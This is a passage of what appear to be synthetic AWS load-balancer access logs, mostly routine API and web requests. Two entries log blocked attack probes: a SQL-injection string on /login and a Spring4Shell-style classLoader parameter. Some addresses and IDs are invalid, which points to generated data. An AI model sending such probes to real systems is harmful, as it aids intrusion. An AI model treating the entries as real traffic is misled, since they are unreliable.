2024-11-01T01:59:06.954080Z "forward" "-" "-" "10.0.223.138:443" "200" "-" "-" -https 2024-11-01T01:59:08.078522Z prod-api-alb 10.83.144.210:52861 10.0.190.217:443 0.010196 0.451728 0.079816 200 200 264 12063 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d37c-cbff83a036894baa9abd45fc" "prod-api-alb.example.com" "-" 6 2024-11-01T01:59:08.078522Z "forward" "-" "-" "10.0.190.217:443" "200" "-" "-" -https 2024-11-01T01:59:09.072329Z prod-api-alb 223.218.77.3:20530 10.0.50.82:443 0.031967 0.492214 0.065244 200 200 473 6777 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d37d-908af68a00f642c79368b148" "prod-api-alb.example.com" "-" 2 2024-11-01T01:59:09.072329Z "forward" "-" "-" "10.0.50.82:443" "200" "-" "-" -https 2024-11-01T01:59:09.762936Z prod-web-alb 36.208.74.238:11147 10.0.35.21:443 0.029719 0.083145 0.072143 200 200 585 13231 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d37d-a56a95399ed14b0eb61d290a" "prod-web-alb.example.com" "-" 2 2024-11-01T01:59:09.762936Z "forward" "-" "-" "10.0.35.21:443" "200" "-" "-" -https 2024-11-01T01:59:10.872162Z staging-alb 146.16.243.47:13623 5.94.62.160:80 0.136590 0.733233 0.104923 404 404 189 13705 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d37e-879eac5a02684d3abd79cc04" "staging-alb.example.com" "-" 2 2024-11-01T01:59:10.872162Z "forward" "-" "-" "5.94.62.160:80" "404" "-" "-" -https 2024-11-01T01:59:11.787654Z prod-web-alb 12.191.56.23:57070 10.0.146.227:443 0.021583 0.073949 0.062987 200 200 375 11562 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d37f-06ee73d248214b5bb6672e56" "prod-web-alb.example.com" "-" 8 2024-11-01T01:59:11.787654Z "forward" "-" "-" "10.0.146.227:443" "200" "-" "-" -http 2024-11-01T01:59:12.243868Z staging-alb 71.121.96.146:25968 14.110.94.163:8080 0.025186 0.480430 0.137842 200 200 301 4647 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d380-ff60a8a41a344bb9a6de2d1e" "staging-alb.example.com" "-" 7 2024-11-01T01:59:12.243868Z "forward" "-" "-" "14.110.94.163:8080" "200" "-" "-" -https 2024-11-01T01:59:14.041825Z prod-web-alb 88.158.158.14:28567 10.0.239.56:443 0.003057 0.189419 0.001710 200 200 772 9588 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d382-f2262dd452764054a0b39b18" "prod-web-alb.example.com" "-" 10 2024-11-01T01:59:14.041825Z "forward" "-" "-" "10.0.239.56:443" "200" "-" "-" -http 2024-11-01T01:59:14.960407Z staging-alb 237.91.67.75:62436 114.218.245.63:8080 0.046481 0.405401 0.030803 302 302 155 10430 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d382-ab4fbe9e0fc34d05893fe44c" "staging-alb.example.com" "-" 3 2024-11-01T01:59:14.960407Z "forward" "-" "-" "114.218.245.63:8080" "302" "-" "-" -https 2024-11-01T01:59:16.792331Z prod-api-alb 61.117.232.134:34512 10.0.131.146:443 0.063611 0.358328 0.083870 200 200 289 6099 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d384-1054b7e89a514860a8e0de7d" "prod-api-alb.example.com" "-" 7 2024-11-01T01:59:16.792331Z "forward" "-" "-" "10.0.131.146:443" "200" "-" "-" -http 2024-11-01T01:59:17.080308Z staging-alb 48.125.148.241:36525 16.221.166.112:443 0.043838 0.200527 0.149609 200 200 959 12619 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d385-c69a67ad28bc4633a2dc01b2" "staging-alb.example.com" "-" 3 2024-11-01T01:59:17.080308Z "forward" "-" "-" "16.221.166.112:443" "200" "-" "-" -http 2024-11-01T01:59:18.384568Z staging-alb 176.170.48.233:52146 241.158.255.101:8080 0.130214 0.693339 0.073384 200 200 937 5994 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d386-d1d9e39527b04291ba3e5d99" "staging-alb.example.com" "-" 9 2024-11-01T01:59:18.384568Z "forward" "-" "-" "241.158.255.101:8080" "200" "-" "-" -https 2024-11-01T01:59:19.278492Z prod-web-alb 252.4.125.9:20810 10.0.9.44:443 0.099220 0.411253 0.041377 200 200 531 5929 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d387-8fa13dccfea64765a8b2b26e" "prod-web-alb.example.com" "-" 2 2024-11-01T01:59:19.278492Z "forward" "-" "-" "10.0.9.44:443" "200" "-" "-" -https 2024-11-01T01:59:19.620042Z prod-api-alb 8.151.4.51:62181 10.0.35.27:443 0.095997 0.468289 0.077725 302 302 130 6553 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d387-50e52bfc2b6c4e7d920db403" "-" "-" 10 2024-11-01T01:59:19.620042Z "forward" "-" "-" "10.0.35.27:443" "302" "-" "-" -https 2024-11-01T01:59:21.468208Z prod-api-alb 172.22.185.3:34782 10.0.93.50:443 0.055035 0.081639 0.064634 302 302 673 3700 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d389-07eada68e8d447d2ba5b18b5" "prod-api-alb.example.com" "-" 10 2024-11-01T01:59:21.468208Z "forward" "-" "-" "10.0.93.50:443" "302" "-" "-" -https 2024-11-01T01:59:21.756467Z prod-api-alb 222.46.208.208:58905 10.0.83.209:443 0.026665 0.143601 0.081138 200 200 944 6191 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d389-70019aea771b4e968341d7b8" "prod-api-alb.example.com" "-" 3 2024-11-01T01:59:21.756467Z "forward" "-" "-" "10.0.83.209:443" "200" "-" "-" -https 2024-11-01T01:59:22.088916Z staging-alb 87.87.75.48:15802 86.222.8.32:443 0.017210 0.652216 0.096498 200 200 641 10954 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d38a-d4c5250504c54aa59ce80e4c" "staging-alb.example.com" "-" 1 2024-11-01T01:59:22.088916Z "forward" "-" "-" "86.222.8.32:443" "200" "-" "-" -https 2024-11-01T01:59:23.044510Z prod-api-alb 44.142.103.79:31774 10.0.36.50:443 0.091123 0.162690 0.046058 200 200 907 14884 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d38b-bb57f72102dc4e4a86417426" "prod-api-alb.example.com" "-" 4 2024-11-01T01:59:23.044510Z "forward" "-" "-" "10.0.36.50:443" "200" "-" "-" -https 2024-11-01T01:59:23.191509Z prod-web-alb 254.29.38.211:18393 10.0.228.22:443 0.075942 0.374648 0.076286 302 302 749 7333 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d38b-4d051bfb94014b85ac4b82d7" "-" "-" 3 2024-11-01T01:59:23.191509Z "forward" "-" "-" "10.0.228.22:443" "302" "-" "-" -https 2024-11-01T01:59:24.115410Z prod-api-alb 134.145.42.12:35729 10.0.107.166:443 0.015855 0.125574 0.034605 200 200 514 8089 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d38c-72508d7784714f0cad5eb7b4" "prod-api-alb.example.com" "-" 5 2024-11-01T01:59:24.115410Z "forward" "-" "-" "10.0.107.166:443" "200" "-" "-" -https 2024-11-01T01:59:25.108074Z prod-web-alb 217.206.54.105:23116 10.0.2.207:443 0.070292 0.425728 0.009525 302 302 966 11198 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d38d-ee8712a772b544ad9f90afef" "prod-web-alb.example.com" "-" 6 2024-11-01T01:59:25.108074Z "forward" "-" "-" "10.0.2.207:443" "302" "-" "-" -https 2024-11-01T01:59:27.097732Z staging-alb 55.25.58.46:50191 242.232.128.196:8080 0.108513 0.525111 0.022417 200 200 68 1327 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d38f-103d0e219787483785dc5700" "staging-alb.example.com" "-" 10 2024-11-01T01:59:27.097732Z "forward" "-" "-" "242.232.128.196:8080" "200" "-" "-" -https 2024-11-01T01:59:28.031352Z prod-api-alb 83.17.214.178:17087 10.0.184.228:443 0.028110 0.230635 0.093172 200 200 749 3466 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d390-b2e729d0751f44cb994a40bf" "-" "-" 6 2024-11-01T01:59:28.031352Z "forward" "-" "-" "10.0.184.228:443" "200" "-" "-" -https 2024-11-01T01:59:28.764234Z prod-web-alb 122.181.121.125:26667 10.0.50.180:443 0.057586 0.000004 0.043607 200 200 679 2056 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d390-99c0467172df4388b93dadd1" "prod-web-alb.example.com" "-" 5 2024-11-01T01:59:28.764234Z "forward" "-" "-" "10.0.50.180:443" "200" "-" "-" -https 2024-11-01T01:59:28.887628Z prod-api-alb 124.224.26.227:21861 10.0.115.73:443 0.044760 0.412910 0.011765 200 200 990 3554 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d390-027c25a5e7a9466286e5ec6e" "prod-api-alb.example.com" "-" 6 2024-11-01T01:59:28.887628Z "forward" "-" "-" "10.0.115.73:443" "200" "-" "-" -https 2024-11-01T01:59:30.348535Z prod-api-alb 185.116.142.11:64791 10.0.208.50:443 0.061998 0.341543 0.031471 302 302 951 2901 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d392-cf9d640ad8c3404e91e44a4a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:59:30.348535Z "forward" "-" "-" "10.0.208.50:443" "302" "-" "-" -https 2024-11-01T01:59:31.649091Z prod-web-alb 185.181.184.201:35230 10.0.11.97:443 0.065946 0.416618 0.080386 403 403 468 2564 "POST /login?id=1'-- HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d393-0f18d88d5cb54607b22fedb5" "-" "-" 0 2024-11-01T01:59:31.649091Z "forward" "-" "-" "10.0.11.97:443" "403" "-" "-" -https 2024-11-01T01:59:32.728248Z prod-api-alb 65.194.80.88:49120 10.0.105.205:443 0.092086 0.179810 0.098765 200 200 107 13222 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d394-e1c35d8b44bd404b9fd33176" "prod-api-alb.example.com" "-" 0 2024-11-01T01:59:32.728248Z "forward" "-" "-" "10.0.105.205:443" "200" "-" "-" -https 2024-11-01T01:59:34.107298Z prod-web-alb 1.110.80.132:34166 10.0.58.232:443 0.050126 0.321357 0.006884 200 200 827 9894 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d396-92128f73de244b7f94cff864" "prod-web-alb.example.com" "-" 3 2024-11-01T01:59:34.107298Z "forward" "-" "-" "10.0.58.232:443" "200" "-" "-" -https 2024-11-01T01:59:35.207936Z prod-web-alb 240.6.52.177:27398 10.0.154.141:443 0.074269 0.258015 0.079643 302 302 374 11631 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d397-f7fc6904068c4b9ea6ce25c6" "prod-web-alb.example.com" "-" 5 2024-11-01T01:59:35.207936Z "forward" "-" "-" "10.0.154.141:443" "302" "-" "-" -http 2024-11-01T01:59:36.721878Z staging-alb 51.155.253.40:17023 171.82.59.82:80 0.015832 0.704420 0.079207 200 200 878 3730 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d398-32b2b4c2deea4d35ae79da03" "staging-alb.example.com" "-" 4 2024-11-01T01:59:36.721878Z "forward" "-" "-" "171.82.59.82:80" "200" "-" "-" -https 2024-11-01T01:59:37.842982Z prod-web-alb 93.95.41.170:15772 10.0.4.4:443 0.009511 0.296800 0.060597 200 200 582 12882 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d399-e9ca8e4664d64f6191827907" "prod-web-alb.example.com" "-" 7 2024-11-01T01:59:37.842982Z "forward" "-" "-" "10.0.4.4:443" "200" "-" "-" -https 2024-11-01T01:59:37.979436Z prod-api-alb 193.27.228.71:19262 10.0.109.53:443 0.099686 0.332364 0.029806 403 403 707 4200 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d399-4d39a595687048fa9e26994f" "-" "-" 7 2024-11-01T01:59:37.979436Z "forward" "-" "-" "10.0.109.53:443" "403" "-" "-" -http 2024-11-01T01:59:38.443917Z staging-alb 151.30.75.55:34347 64.134.134.185:8080 0.017360 0.259443 0.048374 200 200 27 7473 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d39a-f7ef31b6509d4d8d9773d3f4" "staging-alb.example.com" "-" 7 2024-11-01T01:59:38.443917Z "forward" "-" "-" "64.134.134.185:8080" "200" "-" "-" -https 2024-11-01T01:59:40.431931Z prod-api-alb 161.102.161.112:64743 10.0.33.245:443 0.062439 0.293468 0.019089 200 200 745 14316 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d39c-f0aa599f7fc74182a9f78e59" "prod-api-alb.example.com" "-" 10 2024-11-01T01:59:40.431931Z "forward" "-" "-" "10.0.33.245:443" "200" "-" "-" -https 2024-11-01T01:59:41.058551Z prod-api-alb 7.119.127.2:56322 10.0.126.110:443 0.022921 0.088477 0.053730 200 200 428 3600 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d39d-bc32263caee94a29ae2ac7d7" "prod-api-alb.example.com" "-" 2 2024-11-01T01:59:41.058551Z "forward" "-" "-" "10.0.126.110:443" "200" "-" "-" -https 2024-11-01T01:59:42.989272Z prod-web-alb 48.118.137.197:41562 10.0.77.22:443 0.050351 0.465185 0.071479 200 200 890 4800 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d39e-8a2672db5a66404b9d1300d9" "prod-web-alb.example.com" "-" 5 2024-11-01T01:59:42.989272Z "forward" "-" "-" "10.0.77.22:443" "200" "-" "-" -https 2024-11-01T01:59:44.983116Z staging-alb 246.75.116.36:63744 138.138.46.155:80 0.083360 0.159306 0.145243 302 302 450 266 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3a0-446d8c9f0da1456ca6d8231f" "staging-alb.example.com" "-" 4 2024-11-01T01:59:44.983116Z "forward" "-" "-" "138.138.46.155:80" "302" "-" "-" -http 2024-11-01T01:59:46.964563Z staging-alb 243.143.96.52:62111 111.149.124.96:443 0.057979 0.721722 0.016074 200 200 46 14154 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3a2-f7ddf9af8c5d47f2bac29ba4" "staging-alb.example.com" "-" 6 2024-11-01T01:59:46.964563Z "forward" "-" "-" "111.149.124.96:443" "200" "-" "-" -http 2024-11-01T01:59:48.961527Z staging-alb 125.200.43.230:14790 117.228.117.102:8080 0.121339 0.039686 0.052255 200 200 957 3849 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3a4-a1cdaf99e65d4550928be8f7" "-" "-" 9 2024-11-01T01:59:48.961527Z "forward" "-" "-" "117.228.117.102:8080" "200" "-" "-" -https 2024-11-01T01:59:49.875312Z prod-web-alb 252.93.123.203:34903 10.0.108.21:443 0.064647 0.323261 0.000064 200 200 498 6316 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3a5-ce082df4ee794b9187d2b0cc" "prod-web-alb.example.com" "-" 1 2024-11-01T01:59:49.875312Z "forward" "-" "-" "10.0.108.21:443" "200" "-" "-" -https 2024-11-01T01:59:50.203723Z prod-web-alb 99.152.136.184:32680 10.0.81.51:443 0.060563 0.382228 0.033487 302 302 867 2034 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3a6-22a1dc2e114a487bbb7fbe91" "prod-web-alb.example.com" "-" 7 2024-11-01T01:59:50.203723Z "forward" "-" "-" "10.0.81.51:443" "302" "-" "-" -http 2024-11-01T01:59:51.608027Z staging-alb 42.57.100.49:51653 249.127.20.54:8080 0.102741 0.241734 0.081845 200 200 349 14760 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3a7-56a7bdb8deb743e4b35acae9" "staging-alb.example.com" "-" 2 2024-11-01T01:59:51.608027Z "forward" "-" "-" "249.127.20.54:8080" "200" "-" "-" -http 2024-11-01T01:59:53.497841Z staging-alb 203.89.116.108:42381 238.237.115.31:80 0.117789 0.248516 0.119327 302 302 840 2547 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3a9-c5d68c47ba5c4afa8a241733" "staging-alb.example.com" "-" 3 2024-11-01T01:59:53.497841Z "forward" "-" "-" "238.237.115.31:80" "302" "-" "-" -https 2024-11-01T01:59:53.760848Z prod-web-alb 70.167.194.150:64284 10.0.138.183:443 0.015362 0.384859 0.033694 301 301 176 11209 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3a9-4cf7bef277f2430ba259b992" "prod-web-alb.example.com" "-" 4 2024-11-01T01:59:53.760848Z "forward" "-" "-" "10.0.138.183:443" "301" "-" "-" -https 2024-11-01T01:59:54.184012Z prod-api-alb 95.165.245.145:53851 10.0.74.40:443 0.021761 0.464776 0.059367 301 301 928 12513 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3aa-bf556bcc9d804c20becbc3a7" "prod-api-alb.example.com" "-" 2 2024-11-01T01:59:54.184012Z "forward" "-" "-" "10.0.74.40:443" "301" "-" "-" -http 2024-11-01T01:59:54.467217Z staging-alb 228.247.83.243:57733 196.39.24.185:443 0.068496 0.267627 0.087706 200 200 942 9765 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3aa-8c6c2a622d8a401690e169cc" "staging-alb.example.com" "-" 8 2024-11-01T01:59:54.467217Z "forward" "-" "-" "196.39.24.185:443" "200" "-" "-" -https 2024-11-01T01:59:55.036858Z staging-alb 231.95.97.87:30245 23.115.116.253:443 0.005165 0.557746 0.082680 302 302 438 13387 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3ab-8cb429b4aed5486290424496" "staging-alb.example.com" "-" 7 2024-11-01T01:59:55.036858Z "forward" "-" "-" "23.115.116.253:443" "302" "-" "-" -http 2024-11-01T01:59:56.068346Z staging-alb 143.251.148.18:46047 108.96.248.119:8080 0.064745 0.269802 0.002921 404 404 935 11355 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3ac-bdf0023a93d742b484a9702e" "staging-alb.example.com" "-" 2 2024-11-01T01:59:56.068346Z "forward" "-" "-" "108.96.248.119:8080" "404" "-" "-" -https 2024-11-01T01:59:56.931611Z prod-web-alb 251.32.73.112:36134 10.0.102.188:443 0.013151 0.191505 0.088973 301 301 185 2016 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 